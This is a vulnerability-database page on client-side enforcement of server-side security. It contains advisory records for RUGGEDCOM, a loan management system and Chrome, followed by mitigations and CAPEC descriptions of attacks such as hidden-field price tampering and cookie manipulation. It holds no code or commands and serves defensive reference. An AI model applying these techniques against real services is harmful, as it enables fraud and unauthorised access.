Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.16.5), RUGGEDCOM ROX MX5000RE (All versions < V2.16.5), RUGGEDCOM ROX RX1400 (All versions < V2.16.5), RUGGEDCOM ROX RX1500 (All versions < V2.16.5), RUGGEDCOM ROX RX1501 (All versions < V2.16.5), RUGGEDCOM ROX RX1510 (All versions < V2.16.5), RUGGEDCOM ROX RX1511 (All versions < V2.16.5), RUGGEDCOM ROX RX1512 (All versions < V2.16.5), RUGGEDCOM ROX RX1524 (All versions < V2.16.5), RUGGEDCOM ROX RX1536 (All versions < V2.16.5), RUGGEDCOM ROX RX5000 (All versions < V2.16.5). The 'Log Viewers' tool in the web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated remote attacker to execute the 'tail' command with root privileges and disclose contents of all files in the filesystem.
{
"affected": [],
"aliases": [
"CVE-2025-40591"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T16:15:39Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions \u003c V2.16.5), RUGGEDCOM ROX MX5000RE (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1400 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1500 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1501 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1510 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1511 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1512 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1524 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX1536 (All versions \u003c V2.16.5), RUGGEDCOM ROX RX5000 (All versions \u003c V2.16.5). The \u0027Log Viewers\u0027 tool in the web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated remote attacker to execute the \u0027tail\u0027 command with root privileges and disclose contents of all files in the filesystem.",
"id": "GHSA-5hq7-95mx-pcjq",
"modified": "2025-06-10T18:32:25Z",
"published": "2025-06-10T18:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40591"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-301229.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5R68-P7R8-JP77
Vulnerability from github – Published: 2026-04-01 15:31 – Updated: 2026-04-01 18:36A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to improper server-side validation. The application allows administrators to create "Loan Plans" with specific penalty rates for overdue payments. While the frontend interface prevents users from entering negative numbers in the "Monthly Overdue Penalty" field, this constraint is not enforced on the backend. An authenticated attacker can bypass the client-side restriction by manipulating the HTTP POST request to submit a negative value for the penalty_rate.
{
"affected": [],
"aliases": [
"CVE-2026-30522"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T14:16:50Z",
"severity": "MODERATE"
},
"details": "A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to improper server-side validation. The application allows administrators to create \"Loan Plans\" with specific penalty rates for overdue payments. While the frontend interface prevents users from entering negative numbers in the \"Monthly Overdue Penalty\" field, this constraint is not enforced on the backend. An authenticated attacker can bypass the client-side restriction by manipulating the HTTP POST request to submit a negative value for the penalty_rate.",
"id": "GHSA-5r68-p7r8-jp77",
"modified": "2026-04-01T18:36:36Z",
"published": "2026-04-01T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30522"
},
{
"type": "WEB",
"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Loan-Management-System/BusinessLogic-LoanPlan-NegativePenalty.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5R9J-QW98-XG49
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 18:31Insufficient policy enforcement in Extensions in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13919"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:05Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Extensions in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-5r9j-qw98-xg49",
"modified": "2026-07-01T18:31:32Z",
"published": "2026-07-01T00:34:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13919"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/511249430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5RQG-9MJF-C7J6
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 18:31Insufficient policy enforcement in Actor in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13930"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:06Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Actor in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-5rqg-9mjf-c7j6",
"modified": "2026-07-01T18:31:32Z",
"published": "2026-07-01T00:34:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13930"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/512937764"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation
If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.
CAPEC-162: Manipulating Hidden Fields
An adversary exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server, which processes the modified data. For example, eShoplifting is a data manipulation attack against an on-line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the adversary to acquire items at a lower cost than the merchant intended. The adversary performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items.
CAPEC-202: Create Malicious Client
An adversary creates a client application to interface with a target service where the client violates assumptions the service makes about clients. Services that have designated client applications (as opposed to services that use general client applications, such as IMAP or POP mail servers which can interact with any IMAP or POP client) may assume that the client will follow specific procedures.
CAPEC-207: Removing Important Client Functionality
An adversary removes or disables functionality on the client that the server assumes to be present and trustworthy.
CAPEC-208: Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements
An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.
CAPEC-383: Harvesting Information via API Event Monitoring
An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a "virtual sale" of rare items. As other users enter the event, the attacker records via AiTM (CAPEC-94) proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.